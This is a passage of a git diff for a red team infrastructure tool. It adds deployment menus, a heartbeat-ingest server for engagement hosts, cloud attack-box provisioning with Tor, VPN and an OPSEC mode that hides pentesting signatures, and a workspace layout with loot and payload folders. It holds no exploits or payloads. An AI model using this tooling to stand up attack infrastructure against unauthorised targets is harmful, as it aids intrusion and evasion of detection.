print(f"\n{COLORS['RED']}Some teardown operations failed{COLORS['RESET']}") + if result.stderr: + print(f"Error: {result.stderr}") + except Exception as e: + print(f"\n{COLORS['RED']}Error running teardown: {e}{COLORS['RESET']}") + + wait_for_input() + +def clean_ssh_keys(): + """Clean local SSH keys""" + print(f"\n{COLORS['BLUE']}Clean Local SSH Keys{COLORS['RESET']}") + + ssh_dir = os.path.expanduser("~/.ssh") + c2deploy_keys = [] + + if os.path.exists(ssh_dir): + for file in os.listdir(ssh_dir): + if file.startswith("c2deploy_"): + c2deploy_keys.append(os.path.join(ssh_dir, file)) + + if not c2deploy_keys: + print(f"{COLORS['GREEN']}No C2ingRed SSH keys found{COLORS['RESET']}") + else: + print(f"Found {len(c2deploy_keys)} C2ingRed SSH keys:") + for key in c2deploy_keys: + print(f" {key}") + + if input(f"\n{COLORS['YELLOW']}Delete these keys? (y/n): {COLORS['RESET']}").lower() == 'y': + for key in c2deploy_keys: + try: + os.remove(key) + print(f"{COLORS['GREEN']}Removed: {key}{COLORS['RESET']}") + except Exception as e: + print(f"{COLORS['RED']}Failed to remove {key}: {e}{COLORS['RESET']}") + + wait_for_input() + +def clean_logs(): + """Clean log files and manage archive""" + print(f"\n{COLORS['BLUE']}Log File Management{COLORS['RESET']}") + + logs_dir = "logs" + archive_dir = os.path.join(logs_dir, "archive") + + if not os.path.exists(logs_dir): + print(f"{COLORS['GREEN']}No logs directory found{COLORS['RESET']}") + wait_for_input() + return + + # Count current log files + log_files = [f for f in os.listdir(logs_dir) if f.endswith('.log') and os.path.isfile(os.path.join(logs_dir, f))] + info_files = [f for f in os.listdir(logs_dir) if f.startswith('deployment_info_') and f.endswith('.txt')] + + # Count archived files + archived_files = [] + if os.path.exists(archive_dir): + archived_files = [f for f in os.listdir(archive_dir) if f.endswith('.log') or f.endswith('.txt')] + + print(f"Current logs: {len(log_files)} log files, {len(info_files)} info files") + print(f"Archived files: {len(archived_files)} files") + + print(f"\nOptions:") + print(f"1) Archive old logs (keep 10 most recent)") + print(f"2) Delete current log files") + print(f"3) Clean archive directory") + print(f"4) View log files") + print(f"5) Return to menu") + + choice = input(f"\nSelect an option: ") + + if choice == "1": + from utils.common import archive_old_logs + print(f"\n{COLORS['BLUE']}Archiving old logs...{COLORS['RESET']}") + archive_old_logs(max_logs_to_keep=10) + print(f"{COLORS['GREEN']}Archive operation completed{COLORS['RESET']}") + + elif choice == "2": + if not log_files and not info_files: + print(f"{COLORS['GREEN']}No current log files found{COLORS['RESET']}") + else: + print(f"Current log files:") + for log_file in log_files + info_files: + print(f" {log_file}") + + if input(f"\n{COLORS['YELLOW']}Delete these current log files? (y/n): {COLORS['RESET']}").lower() == 'y': + for log_file in log_files + info_files: + try: + os.remove(os.path.join(logs_dir, log_file)) + print(f"{COLORS['GREEN']}Removed: {log_file}{COLORS['RESET']}") + except Exception as e: + print(f"{COLORS['RED']}Failed to remove {log_file}: {e}{COLORS['RESET']}") + + elif choice == "3": + if not os.path.exists(archive_dir) or not archived_files: + print(f"{COLORS['GREEN']}No archived files found{COLORS['RESET']}") + else: + print(f"Archived files ({len(archived_files)}):") + for archived_file in archived_files[:10]: # Show first 10 + print(f" {archived_file}") + if len(archived_files) > 10: + print(f" ... and {len(archived_files) - 10} more") + + if input(f"\n{COLORS['YELLOW']}Delete all archived files? (y/n): {COLORS['RESET']}").lower() == 'y': + import shutil + try: + shutil.rmtree(archive_dir) + print(f"{COLORS['GREEN']}Archive directory cleaned{COLORS['RESET']}") + except Exception as e: + print(f"{COLORS['RED']}Failed to clean archive: {e}{COLORS['RESET']}") + + elif choice == "4": + print(f"\n{COLORS['BLUE']}Current Log Files:{COLORS['RESET']}") + if log_files: + for log_file in log_files: + file_path = os.path.join(logs_dir, log_file) + size = os.path.getsize(file_path) + mtime = datetime.fromtimestamp(os.path.getmtime(file_path)).strftime('%Y-%m-%d %H:%M:%S') + print(f" {log_file} ({size} bytes, modified: {mtime})") + else: + print(f" No log files found") + + print(f"\n{COLORS['BLUE']}Deployment Info Files:{COLORS['RESET']}") + if info_files: + for info_file in info_files: + file_path = os.path.join(logs_dir, info_file) + mtime = datetime.fromtimestamp(os.path.getmtime(file_path)).strftime('%Y-%m-%d %H:%M:%S') + print(f" {info_file} (modified: {mtime})") + else: + print(f" No info files found") + + if archived_files: + print(f"\n{COLORS['BLUE']}Archived Files ({len(archived_files)} total):{COLORS['RESET']}") + for archived_file in archived_files[:5]: # Show first 5 + print(f" {archived_file}") + if len(archived_files) > 5: + print(f" ... and {len(archived_files) - 5} more in archive/") + + elif choice == "5": + return + else: + print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}") + + wait_for_input() + +def list_deployments(): + """List active deployments""" + print(f"\n{COLORS['BLUE']}Active Deployments{COLORS['RESET']}") + + import glob + info_files = glob.glob("logs/deployment_info_*.txt") + + if not info_files: + print(f"{COLORS['GREEN']}No active deployments found{COLORS['RESET']}") + else: + print(f"Found {len(info_files)} deployments:\n") + + for info_file in info_files: + try: + with open(info_file, 'r') as f: + lines = f.readlines() + + deployment_id = "unknown" + provider = "unknown" + domain = "unknown" + status = "unknown" + timestamp = "unknown" + + for line in lines: + line = line.strip() + if line.startswith("Deployment ID:"): + deployment_id = line.split(": ", 1)[1] + elif line.startswith("Provider:"): + provider = line.split(": ", 1)[1] + elif line.startswith("Domain:"): + domain = line.split(": ", 1)[1] + elif line.startswith("Status:"): + status = line.split(": ", 1)[1] + elif line.startswith("Timestamp:"): + timestamp = line.split(": ", 1)[1] + + status_color = COLORS['GREEN'] if status == 'SUCCESS' else COLORS['RED'] + print(f" ID: {COLORS['CYAN']}{deployment_id}{COLORS['RESET']}") + print(f" Provider: {provider}") + print(f" Domain: {domain}") + print(f" Status: {status_color}{status}{COLORS['RESET']}") + print(f" Time: {timestamp}") + print("-" * 40) + + except Exception as e: + print(f"{COLORS['RED']}Error reading {info_file}: {e}{COLORS['RESET']}") + + wait_for_input() + +def archive_logs_before_deployment(): + """Archive old logs before starting any deployment operation""" + try: + print(f"{COLORS['YELLOW']}Archiving old deployment logs...{COLORS['RESET']}") + archive_old_logs() + print(f"{COLORS['GREEN']}Log archiving completed{COLORS['RESET']}") + except Exception as e: + print(f"{COLORS['RED']}Warning: Failed to archive old logs: {e}{COLORS['RESET']}") + +def show_usage(): + """Display usage information and examples""" + print(f"{COLORS['WHITE']}C2itall - Modular Red Team Infrastructure Deployment{COLORS['RESET']}") + print(f"{COLORS['WHITE']}================================================={COLORS['RESET']}") + print() + print(f"{COLORS['CYAN']}Usage:{COLORS['RESET']}") + print(f" python3 deploy.py # Interactive menu (default)") + print(f" python3 deploy.py --menu # Interactive menu") + print(f" python3 deploy.py --auto-teardown # Enable auto-teardown on failure") + print() + print(f"{COLORS['CYAN']}Options:{COLORS['RESET']}") + print(f" --auto-teardown Automatically cleanup failed deployments without prompting") + print(f" Useful for testing, overnight runs, or automated scenarios") + print(f" --menu Start interactive menu (default behavior)") + print() + print(f"{COLORS['CYAN']}Examples:{COLORS['RESET']}") + print(f" # Normal interactive deployment") + print(f" python3 deploy.py") + print() + print(f" # Testing deployment with auto-cleanup on failure") + print(f" python3 deploy.py --auto-teardown") + print() + print(f"{COLORS['YELLOW']}Auto-teardown Feature:{COLORS['RESET']}") + print(f" โ€ข When enabled, failed deployments are automatically cleaned up") + print(f" โ€ข No user prompt - resources are immediately torn down on failure") + print(f" โ€ข Useful for testing, overnight runs, or CI/CD scenarios") + print(f" โ€ข Can be enabled globally via --auto-teardown flag") + print(f" โ€ข Can be enabled per-deployment during interactive setup") + print() + +if __name__ == "__main__": + try: + # Parse command line arguments + parser = argparse.ArgumentParser(description="C2itall - Modular red team infrastructure deployment") + parser.add_argument('--auto-teardown', action='store_true', + help='Enable automatic teardown on deployment failure (for testing/overnight runs)') + parser.add_argument('--menu', action='store_true', default=True, + help='Start interactive menu (default)') + parser.add_argument('--help-examples', action='store_true', + help='Show usage examples and detailed help') + + args = parser.parse_args() + + # Show detailed help if requested + if args.help_examples: + show_usage() + sys.exit(0) + + # Set global auto-teardown flag if specified + if args.auto_teardown: + os.environ['C2ITALL_AUTO_TEARDOWN'] = 'true' + print(f"{COLORS['YELLOW']}๐Ÿ”ง Auto-teardown enabled - failed deployments will be cleaned up automatically{COLORS['RESET']}") + + main_menu() + except KeyboardInterrupt: + print(f"\n\n{COLORS['YELLOW']}Operation cancelled by user{COLORS['RESET']}") + sys.exit(0) + except Exception as e: + print(f"\n{COLORS['RED']}Unexpected error: {e}{COLORS['RESET']}") + sys.exit(1) diff --git a/heartbeat/heartbeat_ingest.py b/heartbeat/heartbeat_ingest.py new file mode 100644 index 0000000..08fcbe8 --- /dev/null +++ b/heartbeat/heartbeat_ingest.py @@ -0,0 +1,167 @@ +#!/usr/bin/env python3 +"""heartbeat_ingest.py โ€” HTTP(S) server that receives heartbeat POSTs and writes to engagement state. + +Writes heartbeats to: ~/.umbra/engagements/{engagement}/heartbeats/{hostname}.json + +Usage: + python heartbeat_ingest.py [--port 8443] [--bind 127.0.0.1] + python heartbeat_ingest.py --tls --cert cert.pem --key key.pem + python heartbeat_ingest.py --auth-token SECRET +""" + +import argparse +import hashlib +import hmac +import json +import os +import ssl +import subprocess +import sys +import tempfile +from http.server import HTTPServer, BaseHTTPRequestHandler + +UMBRA_HOME = os.path.expanduser("~/.umbra") +ENGAGEMENTS_DIR = os.path.join(UMBRA_HOME, "engagements") + +# Will be set by main() +_engagement_name = "" +_heartbeat_dir = "" +_auth_token = "" + + +class HeartbeatHandler(BaseHTTPRequestHandler): + """Handle POST /hb with JSON heartbeat payload.""" + + def _check_auth(self): + """Validate auth token if configured.""" + if not _auth_token: + return True + token = self.headers.get("X-Auth-Token", "") + return hmac.compare_digest(token, _auth_token) + + def do_POST(self): + if not self._check_auth(): + self.send_response(403) + self.end_headers() + self.wfile.write(b"forbidden") + return + + try: + length = int(self.headers.get("Content-Length", 0)) + body = self.rfile.read(length) + data = json.loads(body) + + hostname = data.get("hostname", "unknown").replace("/", "_").replace("..", "_") + hb_path = os.path.join(_heartbeat_dir, f"{hostname}.json") + + with open(hb_path, "w") as f: + json.dump(data, f, indent=2) + + self.send_response(200) + self.end_headers() + self.wfile.write(b"ok") + print(f" [+] {data.get('ts', '?')} heartbeat from {hostname} ({data.get('ip', '?')})") + + except (json.JSONDecodeError, KeyError) as e: + self.send_response(400) + self.end_headers() + self.wfile.write(f"bad request: {e}".encode()) + + except Exception as e: + self.send_response(500) + self.end_headers() + self.wfile.write(f"error: {e}".encode()) + + def do_GET(self): + """Health check endpoint.""" + if not self._check_auth(): + self.send_response(403) + self.end_headers() + self.wfile.write(b"forbidden") + return + + self.send_response(200) + self.end_headers() + self.wfile.write(json.dumps({"status": "ok", "engagement": _engagement_name}).encode()) + + def log_message(self, fmt, *args): + """Suppress default access logging.""" + pass + + +def generate_self_signed_cert(cert_path, key_path): + """Generate a self-signed certificate for TLS.""" + try: + subprocess.run([ + "openssl", "req", "-x509", "-newkey", "rsa:2048", + "-keyout", key_path, "-out", cert_path, + "-days", "365", "-nodes", + "-subj", "/CN=heartbeat-ingest", + ], check=True, capture_output=True) + except FileNotFoundError: + raise RuntimeError("openssl not found โ€” install it or provide --cert/--key manually") + print(f"[*] Generated self-signed cert: {cert_path}") + + +def main(): + global _engagement_name, _heartbeat_dir, _auth_token + + parser = argparse.ArgumentParser(description="Heartbeat ingest server") + parser.add_argument("engagement", help="Engagement name") + parser.add_argument("--port", "-p", type=int, default=8443, help="Listen port (default: 8443)") + parser.add_argument("--bind", "-b", default="127.0.0.1", help="Bind address (default: 127.0.0.1)") + parser.add_argument("--auth-token", default=os.environ.get("UMBRA_HB_TOKEN", ""), + help="Shared secret for auth (X-Auth-Token header)") + parser.add_argument("--tls", action="store_true", help="Enable TLS") + parser.add_argument("--cert", default="", help="TLS certificate path (PEM)") + parser.add_argument("--key", default="", help="TLS private key path (PEM)") + args = parser.parse_args() + + _engagement_name = args.engagement.strip().replace(" ", "_") + _heartbeat_dir = os.path.join(ENGAGEMENTS_DIR, _engagement_name, "heartbeats") + os.makedirs(_heartbeat_dir, exist_ok=True) + _auth_token = args.auth_token + + # Also ensure engagement dir exists + eng_dir = os.path.join(ENGAGEMENTS_DIR, _engagement_name) + os.makedirs(eng_dir, exist_ok=True) + + server = HTTPServer((args.bind, args.port), HeartbeatHandler) + + # TLS setup + if args.tls: + cert_path = args.cert + key_path = args.key + + # Auto-generate self-signed cert if none provided + if not cert_path or not key_path: + cert_dir = os.path.join(eng_dir, "tls") + os.makedirs(cert_dir, exist_ok=True) + cert_path = os.path.join(cert_dir, "heartbeat.crt") + key_path = os.path.join(cert_dir, "heartbeat.key") + if not os.path.exists(cert_path): + generate_self_signed_cert(cert_path, key_path) + + ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) + ctx.load_cert_chain(cert_path, key_path) + server.socket = ctx.wrap_socket(server.socket, server_side=True) + proto = "https" + else: + proto = "http" + + print(f"[*] Heartbeat ingest listening on {args.bind}:{args.port} ({proto})") + print(f"[*] Engagement: {_engagement_name}") + print(f"[*] Writing to: {_heartbeat_dir}") + print(f"[*] Auth: {'enabled' if _auth_token else 'disabled'}") + print(f"[*] Endpoint: POST {proto}://:{args.port}/hb") + print() + + try: + server.serve_forever() + except KeyboardInterrupt: + print("\n[*] Stopped") + server.server_close() + + +if __name__ == "__main__": + main() diff --git a/modules/attack-box/deploy_attack_box.py b/modules/attack-box/deploy_attack_box.py new file mode 100644 index 0000000..0a0a387 --- /dev/null +++ b/modules/attack-box/deploy_attack_box.py @@ -0,0 +1,444 @@ +#!/usr/bin/env python3 +""" +Attack Box deployment module +Deploy hardened attack boxes for initial access, manual testing, and reconnaissance +""" + +import os +import sys +import logging +import glob + +# Add the project root to the path so we can import utils +sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..')) + +from utils.common import ( + COLORS, clear_screen, print_banner, generate_deployment_id, + setup_logging, get_public_ip, confirm_action, wait_for_input, + archive_old_logs +) +from utils.provider_utils import select_provider, gather_provider_config +from utils.ssh_utils import generate_ssh_key +from utils.name_generator import generate_attack_box_name +from utils.naming_utils import get_deployment_name_with_options, show_naming_relationship + +def attack_box_menu(): + """Display the attack box deployment menu""" + while True: + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}ATTACK BOX DEPLOYMENT{COLORS['RESET']}") + print(f"{COLORS['WHITE']}====================={COLORS['RESET']}") + print(f"1) Deploy Quick Recon Box {COLORS['GREEN']}*FAST*{COLORS['RESET']} {COLORS['GRAY']}(Kali + Basic Tools - ~2-3 min){COLORS['RESET']}") + print(f"2) Deploy Kali Attack Box {COLORS['GRAY']}(Full Tools & Setup - ~15-20 min){COLORS['RESET']}") + print(f"3) Deploy Custom Ubuntu Attack Box") + print(f"99) Return to Main Menu") + + choice = input(f"\nSelect an option: ") + + if choice == "1": + deploy_quick_recon_box() + elif choice == "2": + deploy_kali_attack_box() + elif choice == "3": + deploy_ubuntu_attack_box() + elif choice == "99": + return + else: + print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}") + wait_for_input() + +# Quick Recon Box now uses the regular attack box deployment with minimal settings + +def gather_attack_box_parameters(attack_box_type="kali"): + """Collect parameters specific to attack box deployments""" + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}ATTACK BOX SETUP - {attack_box_type.upper()}{COLORS['RESET']}") + print(f"{COLORS['WHITE']}{'=' * (20 + len(attack_box_type))}{COLORS['RESET']}") + + config = {} + + # Generate deployment ID + config['deployment_id'] = generate_deployment_id() + print(f"Deployment ID: {COLORS['CYAN']}{config['deployment_id']}{COLORS['RESET']}") + + # Provider selection + provider = select_provider() + if not provider: + return None + config['provider'] = provider + + # Get provider-specific configuration + provider_config = gather_provider_config(provider) + if not provider_config: + return None + config.update(provider_config) + + # Attack box specific configuration + print(f"\n{COLORS['BLUE']}Attack Box Configuration{COLORS['RESET']}") + + # Set deployment type + config['deployment_type'] = 'attack_box' + + # Attack box type + config['attack_box_type'] = attack_box_type + + # Attack box name with common naming options + config['attack_box_name'] = get_deployment_name_with_options( + deployment_type='attack_box', + deployment_id=config['deployment_id'], + prefix='a-' + ) + + # Attack box image mapping + if attack_box_type == "kali": + config['attack_box_image'] = "linode/kali" + elif attack_box_type == "ubuntu": + config['attack_box_image'] = "linode/ubuntu22.04" + else: + config['attack_box_image'] = "linode/ubuntu22.04" # Default fallback + + # Instance sizing based on attack box type + print(f"\n{COLORS['GREEN']}Instance Size Selection:{COLORS['RESET']}") + print(f"1) Small (2 CPU, 4GB RAM) - Basic reconnaissance") + print(f"2) Medium (4 CPU, 8GB RAM) - Standard penetration testing") + print(f"3) Large (8 CPU, 16GB RAM) - Heavy exploitation/cracking") + print(f"4) XLarge (16 CPU, 32GB RAM) - Advanced research/development") + + size_choice = input(f"Select instance size [2]: ").strip() or "2" + size_mapping = { + "1": {"type": "g6-standard-2", "name": "small"}, + "2": {"type": "g6-standard-4", "name": "medium"}, + "3": {"type": "g6-standard-8", "name": "large"}, + "4": {"type": "g6-standard-16", "name": "xlarge"} + } + + if size_choice in size_mapping: + config['instance_size'] = size_mapping[size_choice]['name'] + if provider == "linode": + config['linode_instance_type'] = size_mapping[size_choice]['type'] + else: + config['instance_size'] = "medium" + config['linode_instance_type'] = "g6-standard-4" + + # SSH key generation using attack box name for consistency + ssh_key_path = generate_ssh_key(config['attack_box_name']) + if ssh_key_path: + config['ssh_key_path'] = ssh_key_path + ".pub" + print(f"{COLORS['GREEN']}SSH key generated: {ssh_key_path}{COLORS['RESET']}") + else: + print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}") + return None + + # Additional tools selection + print(f"\n{COLORS['BLUE']}Additional Tools & Features:{COLORS['RESET']}") + + # Custom domain for C2 comms (optional) + domain = input(f"Domain for attack box (optional, for C2 comms): ").strip() + if domain: + config['domain'] = domain + config['setup_domain'] = True + else: + config['setup_domain'] = False + + # VPN setup + setup_vpn = input(f"Setup VPN server on attack box? [y/N]: ").strip().lower() + config['setup_vpn'] = setup_vpn in ['y', 'yes'] + + # Tor setup + setup_tor = input(f"Setup Tor proxy? [y/N]: ").strip().lower() + config['setup_tor'] = setup_tor in ['y', 'yes'] + + # Custom wordlists + custom_wordlists = input(f"Download custom wordlists? [y/N]: ").strip().lower() + config['custom_wordlists'] = custom_wordlists in ['y', 'yes'] + + # Set operator IP for security + config['operator_ip'] = get_public_ip() + if config['operator_ip']: + print(f"{COLORS['GREEN']}Detected operator IP: {config['operator_ip']}{COLORS['RESET']}") + + # SSH after deploy + ssh_after = input(f"\nSSH to attack box after deployment? [Y/n]: ").strip().lower() + config['ssh_after_deploy'] = ssh_after not in ['n', 'no'] + + # Auto-teardown on failure option + print(f"\n{COLORS['BLUE']}Deployment Options:{COLORS['RESET']}") + + # Enhanced OPSEC mode + opsec_mode = input(f"Enable enhanced OPSEC mode? (for sensitive operations) [y/N]: ").strip().lower() + config['enhanced_opsec'] = opsec_mode in ['y', 'yes'] + + if config['enhanced_opsec']: + print(f"{COLORS['YELLOW']}๐Ÿ”’ Enhanced OPSEC mode enabled:{COLORS['RESET']}") + print(f" โ€ข Working directory: /root/{config['deployment_id']} (not 'operator')") + print(f" โ€ข No 'trashpanda' references in files or aliases") + print(f" โ€ข Generic script names and comments") + print(f" โ€ข Minimal logging and history") + print(f" โ€ข No obvious pentesting tool signatures in configs") + config['work_dir'] = f"/root/{config['deployment_id']}" + config['tool_name'] = "toolkit" + config['project_name'] = config['deployment_id'] + else: + print(f"{COLORS['CYAN']}๐Ÿ’ก Standard mode - using TrashPanda branding and structure{COLORS['RESET']}") + config['work_dir'] = "/root/operator" + config['tool_name'] = "trashpanda" + config['project_name'] = "operator" + + # Check for global auto-teardown flag + global_auto_teardown = os.environ.get('C2ITALL_AUTO_TEARDOWN', '').lower() == 'true' + + if global_auto_teardown: + config['auto_teardown_on_fail'] = True + print(f"{COLORS['YELLOW']}โš ๏ธ Auto-teardown enabled globally - failed deployments will be cleaned up automatically{COLORS['RESET']}") + else: + auto_teardown = input(f"Auto-teardown on deployment failure? (for testing/overnight runs) [y/N]: ").strip().lower() + config['auto_teardown_on_fail'] = auto_teardown in ['y', 'yes'] + + if config['auto_teardown_on_fail']: + print(f"{COLORS['YELLOW']}โš ๏ธ Auto-teardown enabled - failed deployments will be cleaned up automatically{COLORS['RESET']}") + else: + print(f"{COLORS['CYAN']}๐Ÿ’ก Failed deployments will prompt for cleanup confirmation{COLORS['RESET']}") + + # Set deployment type + config['deployment_type'] = f'{attack_box_type}_attack_box' + + return config + +def deploy_kali_attack_box(): + """Deploy Kali Linux attack box""" + config = gather_attack_box_parameters("kali") + if not config: + return + + config['attack_box_image'] = 'linode/kali' + config['default_user'] = 'root' + + print(f"\n{COLORS['GREEN']}Deploying Kali Linux attack box...{COLORS['RESET']}") + execute_attack_box_deployment(config) + +def deploy_parrot_attack_box(): + """Deploy Parrot Security attack box""" + config = gather_attack_box_parameters("parrot") + if not config: + return + + config['attack_box_image'] = 'linode/debian11' # Will install Parrot tools + config['default_user'] = 'root' + + print(f"\n{COLORS['GREEN']}Deploying Parrot Security attack box...{COLORS['RESET']}") + execute_attack_box_deployment(config) + +def deploy_ubuntu_attack_box(): + """Deploy custom Ubuntu attack box""" + config = gather_attack_box_parameters("ubuntu") + if not config: + return + + config['attack_box_image'] = 'linode/ubuntu22.04' + config['default_user'] = 'root' + + print(f"\n{COLORS['GREEN']}Deploying Ubuntu attack box...{COLORS['RESET']}") + execute_attack_box_deployment(config) + +def deploy_quick_recon_box(): + """Deploy streamlined attack box focused on OPSEC and initial reconnaissance""" + config = gather_quick_recon_parameters() + if not config: + return + + config['attack_box_image'] = 'linode/kali' # Kali Linux base + config['default_user'] = 'root' + config['deployment_type'] = 'quick_recon_box' + config['attack_box_type'] = 'quick_recon' + config['quick_deployment'] = True + config['enhanced_opsec'] = True # Always enable OPSEC + + print(f"\n{COLORS['GREEN']}Deploying Quick Recon Box (minimal tools + OPSEC)...{COLORS['RESET']}") + execute_attack_box_deployment(config) + +def gather_quick_recon_parameters(): + """Collect parameters for quick recon box deployment - streamlined""" + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}QUICK RECON BOX SETUP{COLORS['RESET']}") + print(f"{COLORS['WHITE']}====================={COLORS['RESET']}") + print(f"{COLORS['CYAN']}Minimal deployment - basic tools + Tor + optional VPN{COLORS['RESET']}") + print(f"{COLORS['GRAY']}โ€ข Kali Linux base with core tools (nmap, nc, curl, dig, whois, tor){COLORS['RESET']}") + print(f"{COLORS['GRAY']}โ€ข Add whatever tools you need after deployment{COLORS['RESET']}") + print(f"{COLORS['GRAY']}โ€ข Fast deployment - under 5 minutes{COLORS['RESET']}") + + config = {} + + # Generate deployment ID + config['deployment_id'] = generate_deployment_id() + print(f"\nDeployment ID: {COLORS['CYAN']}{config['deployment_id']}{COLORS['RESET']}") + + # Provider selection + provider = select_provider() + if not provider: + return None + config['provider'] = provider + + # Get provider-specific configuration + provider_config = gather_provider_config(provider) + if not provider_config: + return None + config.update(provider_config) + + # Quick recon specific configuration + config['deployment_type'] = 'quick_recon_box' + config['attack_box_type'] = 'quick_recon' + + # Attack box name with recon prefix + config['attack_box_name'] = get_deployment_name_with_options( + deployment_type='quick_recon', + deployment_id=config['deployment_id'], + prefix='qr-' + ) + + # Force small instance for speed and cost + print(f"\n{COLORS['GREEN']}Instance: Small (2 CPU, 4GB RAM) - Optimized for recon{COLORS['RESET']}") + config['instance_size'] = "small" + if provider == "linode": + config['linode_instance_type'] = "g6-standard-2" + + # SSH key generation + ssh_key_path = generate_ssh_key(config['attack_box_name']) + if ssh_key_path: + config['ssh_key_path'] = ssh_key_path + ".pub" + print(f"{COLORS['GREEN']}SSH key generated: {ssh_key_path}{COLORS['RESET']}") + else: + print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}") + return None + + # Minimal OPSEC configuration + print(f"\n{COLORS['BLUE']}Quick OPSEC Configuration:{COLORS['RESET']}") + + # Always enable Tor + config['setup_tor'] = True + print(f"โœ“ Tor proxy enabled (for anonymous operations)") + + # Optional VPN + setup_vpn = input(f"Setup VPN server? [y/N]: ").strip().lower() + config['setup_vpn'] = setup_vpn in ['y', 'yes'] + + # No domain by default (keep minimal) + config['setup_domain'] = False + + # Set operator IP for security + config['operator_ip'] = get_public_ip() + if config['operator_ip']: + print(f"{COLORS['GREEN']}Operator IP: {config['operator_ip']}{COLORS['RESET']}") + + # SSH after deploy + ssh_after = input(f"SSH after deployment? [Y/n]: ").strip().lower() + config['ssh_after_deploy'] = ssh_after not in ['n', 'no'] + + # Enhanced OPSEC (always enabled) + config['enhanced_opsec'] = True + config['work_dir'] = f"/root/{config['deployment_id']}" + config['tool_name'] = "toolkit" + config['project_name'] = config['deployment_id'] + + # Auto-teardown option + auto_teardown = input(f"Auto-teardown on failure? [y/N]: ").strip().lower() + config['auto_teardown_on_fail'] = auto_teardown in ['y', 'yes'] + + # Set deployment flags + config['default_user'] = 'root' + config['attack_box_deployment'] = True + config['ssh_user'] = 'root' + + return config + +def deploy_windows_attack_box(): + """Deploy Windows attack box""" + print(f"\n{COLORS['YELLOW']}Windows attack box deployment coming soon...{COLORS['RESET']}") + print(f"{COLORS['YELLOW']}This will include Cobalt Strike, Metasploit, and Windows-specific tools{COLORS['RESET']}") + wait_for_input() + +def deploy_multiple_attack_boxes(): + """Deploy multiple attack boxes for large engagements""" + print(f"\n{COLORS['BLUE']}Multiple Attack Box Deployment{COLORS['RESET']}") + print(f"{COLORS['YELLOW']}This will deploy multiple attack boxes for distributed operations{COLORS['RESET']}") + print(f"{COLORS['YELLOW']}Coming soon...{COLORS['RESET']}") + wait_for_input() + +def execute_attack_box_deployment(config): + """Execute attack box infrastructure deployment""" + clear_screen() + print_banner() + print(f"\n{COLORS['GREEN']}Starting attack box deployment...{COLORS['RESET']}") + + # Set up logging (archiving is now handled globally) + log_file = setup_logging(config['deployment_id'], "attack_box_deployment") + + # Display configuration summary + print(f"\n{COLORS['CYAN']}Deployment Summary:{COLORS['RESET']}") + print(f"Deployment Type: {config['deployment_type']}") + print(f"Deployment ID: {config['deployment_id']}") + print(f"Attack Box Name: {config['attack_box_name']}") + + # Show naming relationship if attack box is named after another deployment + naming_info = show_naming_relationship( + config['attack_box_name'], + config['deployment_id'], + 'attack_box' + ) + if naming_info: + print(f" โ””โ”€ {naming_info['relationship_text']}") + print(f" โ””โ”€ {naming_info['purpose_text']}") + + print(f"Provider: {config['provider']}") + print(f"Attack Box Type: {config['attack_box_type']}") + print(f"Instance Size: {config['instance_size']}") + if config.get('domain'): + print(f"Domain: {config['domain']}") + print(f"VPN Setup: {'Yes' if config['setup_vpn'] else 'No'}") + print(f"Tor Setup: {'Yes' if config['setup_tor'] else 'No'}") + + # Show SSH key information + if config.get('ssh_key_path'): + ssh_key_name = os.path.basename(config['ssh_key_path']).replace('.pub', '') + print(f"SSH Key: {ssh_key_name}") + print(f" โ””โ”€ Use: ssh -i ~/.ssh/{ssh_key_name} root@") + + # Confirm deployment + if not confirm_action(f"\n{COLORS['YELLOW']}Proceed with attack box deployment?{COLORS['RESET']}", default=True): + print(f"\n{COLORS['YELLOW']}Deployment cancelled.{COLORS['RESET']}") + return + + # Set attack box deployment flag + config['attack_box_deployment'] = True + + # Execute the actual deployment using the deployment engine + from utils.deployment_engine import deploy_infrastructure + success = deploy_infrastructure(config) + + if success: + print(f"\n{COLORS['GREEN']}Attack box deployed successfully!{COLORS['RESET']}") + + # Display credentials file location + credentials_file = f"logs/deployment_info_{config['deployment_id']}.txt" + if os.path.exists(credentials_file): + print(f"\n{COLORS['CYAN']}๐Ÿ“ Credentials saved to: {credentials_file}{COLORS['RESET']}") + print(f"{COLORS['YELLOW']}โš ๏ธ Keep this file secure - it contains your root password!{COLORS['RESET']}") + + print(f"\n{COLORS['CYAN']}Next Steps:{COLORS['RESET']}") + print(f"1. SSH to your attack box using the saved credentials") + print(f"2. Run initial security updates") + print(f"3. Configure VPN if enabled") + print(f"4. Begin reconnaissance") + + if config.get('ssh_after_deploy'): + from utils.ssh_utils import ssh_to_instance + ssh_to_instance(config) + else: + print(f"\n{COLORS['RED']}Attack box deployment failed.{COLORS['RESET']}") + + wait_for_input() + +if __name__ == "__main__": + attack_box_menu() diff --git a/modules/attack-box/files/attack_box_config.sh b/modules/attack-box/files/attack_box_config.sh new file mode 100755 index 0000000..c543360 --- /dev/null +++ b/modules/attack-box/files/attack_box_config.sh @@ -0,0 +1,36 @@ +# Attack Box Configuration +# ======================== + +# Attack Box Setup Information +ATTACK_BOX_VERSION="1.0.0" +WORKSPACE_DIR="/root/operator" +SCRIPTS_DIR="/root/operator/tools/scripts" +TOOLS_DIR="/root/operator/tools" + +# Available Commands +echo "Attack Box Commands:" +echo "===================" +echo "recon - Run reconnaissance automation" +echo "portscan - Run port scan automation" +echo "webenum - Run web enumeration automation" +echo "attack-menu - Launch manual testing menu" +echo "operator - Change to main directory" +echo "mkoperator - Create new engagement structure" +echo "" +echo "Workspace Structure:" +echo "===================" +echo "~/operator/tools/ - All security tools and scripts" +echo "~/operator/scans/ - All scan results organized by type" +echo "~/operator/loot/ - Extracted data and credentials" +echo "~/operator/targets/ - Target lists and reconnaissance" +echo "~/operator/notes/ - Manual notes and observations" +echo "~/operator/reports/ - Documentation and reporting" +echo "~/operator/exploits/ - Working exploits and POCs" +echo "~/operator/payloads/ - Custom payloads and shells" +echo "~/operator/wordlists/ - Custom and downloaded wordlists" +echo "~/operator/pcaps/ - Network captures and analysis" +echo "" +echo "Trashpanda-style Directory Structure:" +echo "=====================================" +echo "The operator directory follows the exact structure as TrashPanda tool" +echo "with organized subdirectories 